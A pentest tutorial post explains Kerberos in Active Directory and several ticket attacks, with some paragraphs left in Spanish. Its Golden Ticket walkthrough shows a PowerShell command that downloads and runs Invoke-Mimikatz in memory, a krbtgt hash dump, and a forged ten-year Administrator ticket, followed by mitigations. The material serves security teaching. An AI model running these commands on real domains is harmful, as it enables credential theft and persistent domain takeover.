The main aim of this post is explaining the most common attacks that can be carried out in a security audit or pentest of Kerberos protocol used in Microsoft active directory domains.
To this effect, first it is going to be explained how Kerberos works in order to provide access to those network resources; second, how the most famous attacks work on Kerberos tickets; third, how to carry out a Golden ticket attack using Mimikatz; and finally, possible mitigations against this type of attacks.
How Kerberos works in an active directory
In an active directory the authentication is done using Kerberos. This is a protocol that works on the basis of tickets which are given to users which later are shown to different network resources in order to authenticate permissions.
In the Kerberos protocol there are 3 architecture main entities:
- The client machine refers to the user who wants to access the service.
- The machine hosting the service refers to the system the user wants to access to.
- The Key Distribution Center (KDC) is a central server responsible for authenticating users and distributing tickets in order to be identified in services hosting machines. In active directories, KDC is installed in Domain Controller (DC).
On the other hand, there are 2 types of tickets a user should hold in order to access domain services:
- Service Tickets (ST): used for identification purposes against the services.
- Ticket Granting Ticket (TGT): used for authentication purposes against the Kerberos server and for obtaining the ST required for different services.
Please, find in the following image the necessary messages sequence to carry out user’s authentication process using Kerberos:
Firstly, as shown in the previous image, a user should have a TGT. To this effect, the user should be authenticated against the KDC sending the following message.
En dicho mensaje se especifican 3 cosas:
- El nombre del usuario que se está autenticando
- El servicio que se encarga de proporcionar el TGT, es decir, el servicio de Kerberos del KDC.
- Un timestamp cifrado con el hash NTLM obtenido de la contraseña del usuario
Una vez llega este mensaje al KDC este descifra el timestamp con el hash NTLM del usuario y verifica que las credenciales son válidas.Si la petición es correcta el servidor devolverá el siguiente mensaje:
This message is divided in 3 parts:
- Username, the name of the authenticated user.
- A session key that shall be used to encode the following messages exchanged with the KDC and TGT lifetime, both encoded with user’s NTLM hash (then the user could read this fields)
- TGT encoded with krbrgt account NTLM hash (then, only the KDC can read it), and including the session key and the TGT lifetime, and also a token containing the PAC structure. This is where TGT holder privileges are detailed.
Once this process is finished, the user possesses a TGT that can be used in order to request ST, and therefore access domain services associated to Kerberos.
In order to apply for a ST, the following message should be sent to KDC:
In this message, three fields are included:
- Requested service name
- Username and an encoded timestamp with the session key established in TGT.
When the KDC receives this message, the user’s privileges contained in the TGT are authenticated and a ST is sent in the following message:
This message is divided in 2 parts:
- Service name, timestamp and service session key, all of them are encoded with the specified session key in TGT (then the user can read it)
- ST including the following: username, service name, service session key, user’s permissions token copy. Therefore, the service machine can authenticate that this particular user holds the corresponding privileges in order to access the service and a timestamp indicating the moment when everything was created. All this is encoded with the domain account NTML associated to the service hash (then only this service can read it)
And if everything is correct, the user will have the ST providing access to the desired service.
It is important to remark, that TGT and ST are found cached in the computer where the user has logged in, and in particular, in the Isass process memory, responsible for authentication. This process is also responsible for storing other important information such as different authenticated users’ password hashes (LM, NTLM, SHA1…) in the machine and also clear passwords. Then, having this in mind, any user having enough permissions, such as the computer’s local administrator, could extract all this process information for all those users having a logged in account in the computer. For this purpose, Mimikatz tool is often used due to the fact that it counts on a module consisting on extracting the aforementioned credentials.
Teniendo en cuenta el procedimiento anteriormente explicado vamos a ver como funcionan los siguientes ataques orientados Kerberos de directorio activo:
- Overpass The Hash/Pass The Key
- Pass The Ticket
- Golden Ticket y Silver Ticket
Overpass The Hash/Pass The Key (PTK)
The general definition of Pass the Hash (PTH) attack refers to an attack that uses the user’s hash in order to forge the user’s identity. In Kerberos ticket field, this is called Overpass The Hass or Pass The Key.
Observing any TGT obtaining process, it could be seen that if an attacker finds a user’s hash, a valid TGT request message could be created and this one can be used to access to any of the domain resources which that user in particular has access to without knowing the password.
Pass The Ticket (PTT)
Pass The Ticket consists of obtaining a user’s ticket and using it in order to gain access to those resources the user is holding the corresponding permissions.
Generally, this is carried out obtaining a user’s TGT, therefore if the attacker gets a ST, this attack could not work properly since there are certain protections.
When a ST is sent to the machine providing the service, this one compares the timestamps included in the ST (the moment when the ticket was created) with the moment when the ticket was sent and it is directly dismissed if there is difference of more than 2 minutes. Besides, the first ticket sent to the service machine (most of the time it refers to the legitimate user) is cached in the memory and the following tickets are rejected.
Then, it is very common to have a TGT without this protections, although it should be taken into account that this one has a maximum lifetime (normally 10 hours) after which the ticket may expire. In addition, the TGT is not only restricted to one service but also it could be used to apply for any service the owner may access to.
Kerberoasting tries to use ST to crack offline users’ passwords.
As it could be seen previously, ST are encoded with the domain account NTLM hash associated to the service. Therefore, if a user requests a service ST associated to a user, once the ST is obtained, this one can be used in another machine and crack the user’s password, which generally holds many privileges in the domain or at least in the machine where the service is run.
The first part could refer to computer accounts associated to services and even to the krbtgt account if TGT is extracted. However, these accounts passwords are generated automatically and these passwords are too complex to be cracked.
Golden Ticket and Silver Ticket
The main aim of the Golden Ticket attack is creating a TGT. For this purpose, the krbtgt account hash is necessary since it is used to encode the ticket. Once this hash is obtained, it is possible to create a TGT including any desired expiration date, and most importantly, any required permissions, containing even domain administrator privilege.
It also has to be taken into account that a TGT validity depends on two aspects: the given expiration date and the NTLM hash used to encode (referring to krbtgt account password). Therefore, either lifetime does not expire either the krbtgt account password is changed. The ticket will be valid regardless of whether the forged user’s password expires.
Silver Ticket concept is similar. However, this time the ticket created is a ST and therefore, it is required the domain account NTLM hash associated to the service you want to access to.
Golden Ticket attack
In the next section, how it is possible to build a Golden Ticket using Mimikatz tool is going to be explained.
First of all, you need to find krbtgt account hashes which are stored in the NTDS.DIT file of domain controllers:
For that purpose, Mimikatz should be executed in the domain controller. I personally prefer the PowerShell script Invoke-Mimikatz of Empire repository that enables to run Mimikatz directly on the memory.
If we run the following instruction in a PowerShell we can download the utility code and load it directly to the memory:
PS C:WINDOWSsystem32> IEX ([System.Text.Encoding]::UTF8.GetString((New-Object system.net.WebClient).DownloadData("https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1")))
Once downloaded and loaded, Mimikatz is run in order to extract krbtgt account hashes (for this purpose, it is necessary to have administrator permissions in the domain controller):
PS C:WINDOWSsystem32> Invoke-Mimikatz -Command '"lsadump::lsa /inject /name:krbtgt"' Hostname: WIN-9LJHAUJKGH3.test.virtual / S-1-5-21-1126339692-2329256024-2918214878 .#####. mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17 .## ^ ##. "A La Vie, A L'Amour" ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( firstname.lastname@example.org ) '## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # lsadump::lsa /inject /name:krbtgt Domain : TEST / S-1-5-21-1126339692-2329256024-2918214878 RID : 000001f6 (502) User : krbtgt * Primary LM : NTLM : 78ec7d4703bd93bfc6f315e8be2a0505 * WDigest 01 a29ea599962f7a22c82f994e1c9cbd23 02 f9d478222fd20ef62008d33912965452 03 78183dc53572b1d1cf8d9ec3334f1af9 04 a29ea599962f7a22c82f994e1c9cbd23 05 f9d478222fd20ef62008d33912965452 06 768f0d27d7f1a401128fa4d9dfe0fe05 07 a29ea599962f7a22c82f994e1c9cbd23 08 cbfe851527c1ee2a94ce718de92d48de 09 cbfe851527c1ee2a94ce718de92d48de 10 cab3cee0de82aaaf89dde189a4b65a7c 11 3304c3951f18774e3042171dcf83d81f 12 cbfe851527c1ee2a94ce718de92d48de 13 9ecfb92a334e791a2dd0b84a1e2673bb 14 3304c3951f18774e3042171dcf83d81f 15 30d13cafdad8bf820491d908a97bda68 16 30d13cafdad8bf820491d908a97bda68 17 107e3aa8e86408187c697cd3d9bbe74a 18 cad84ce23627af0a56aaaefa324ac1f4 19 fccd8b52fdd36177c39a3d22357b2d26 20 884c3427f704916b23c7daede8d3d98a 21 101fc8a7b2c38f0f71fe3781c1a23b71 22 101fc8a7b2c38f0f71fe3781c1a23b71 23 58130a56370f77dfaaf7851004a8972a 24 99fb09a2eb1647739a689058c66b774f 25 99fb09a2eb1647739a689058c66b774f 26 b87ff24e8ab8d40e08f9f92490346f65 27 51af7632f142ccfa43143fea62885479 28 845c45eaf7c2c151a5b5bbe87f6b81dc 29 de8bbff44216f36f23ada8df8195815e * Kerberos Default Salt : TEST.VIRTUALkrbtgt Credentials des_cbc_md5 : cbc1d9c819b91f6e * Kerberos-Newer-Keys Default Salt : TEST.VIRTUALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 374389044ea10da3184e9c5e68fd4c06f9d82321c1d511f8bf45b39806e08b10 aes128_hmac (4096) : 9fb68e4e1608b61f4a46d476935da269 des_cbc_md5 (4096) : cbc1d9c819b91f6e
Once the hashes are obtained, it is possible to create a TGT or Golden Ticket in order to forge the Domain Administrator during 10 years (or any other specified period):
PS C:WINDOWSsystem32> Invoke-Mimikatz -Command '"kerberos::golden /domain:test.virtual /sid:S-1-5-21-1126339692-2329256024-2918214878 /rc4:78ec7d4703bd93bfc6f315e8be2a0505 /user:Administrador /id:500 /groups:500,501,513,512,520,518,519 /ticket:gold.kirbi "' Hostname: WIN-9LJHAUJKGH3.test.virtual / S-1-5-21-1126339692-2329256024-2918214878 .#####. mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17 .## ^ ##. "A La Vie, A L'Amour" ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( email@example.com ) '## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # kerberos::golden /domain:test.virtual /sid:S-1-5-21-1126339692-2329256024-2918214878 /rc4:78ec7d 4703bd93bfc6f315e8be2a0505 /user:Administrador /id:500 /groups:500,501,513,512,520,518,519 /ticket:gold.kirbi User : Administrador Domain : test.virtual (TEST) SID : S-1-5-21-1126339692-2329256024-2918214878 User Id : 500 Groups Id : *500 501 513 512 520 518 519 ServiceKey: 78ec7d4703bd93bfc6f315e8be2a0505 - rc4_hmac_nt Lifetime : 23/12/2016 11:09:01 ; 21/12/2026 11:09:01 ; 21/12/2026 11:09:01 -> Ticket : gold.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file !
Now, we can save the file “gold.kirbi” with the Golden Ticket having a lifetime of 10 years and ready to be used whenever needed. In case, you want to inject the ticket you should run the following:
PS C:WINDOWSsystem32> Invoke-Mimikatz -Command '"kerberos::ptt gold.kirbi"' * File: 'gold.kirbi': OK
All in all, you will hold administrator permissions in the entire domain during 10 years even though the Administrator changes the password.
Golden Ticket Mitigation
In order to avoid the use of long lifetime Golden Tickets we suggest to reset regularly the krbtgt account password in all domain controllers, therefore the following script could be used: https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51
The password should be reset twice, due to usability purposes. Then, those tickets using krbtgt password NTLM hash as encryption key prior to the current one will be considered still valid. However, it should be taken into consideration that it is only possible to change the password in the krbtgt account if the domain functional level is either the same or higher than Windows Server 2008.
Attacks types previously described take advantage of Kerberos protocol inherent weaknesses. Therefore, there is not an easy way to prevent them. Nevertheless, Microsoft provides a publicly available guide explaining how to mitigate this kind of attacks: https://www.microsoft.com/en-us/download/details.aspx?id=36036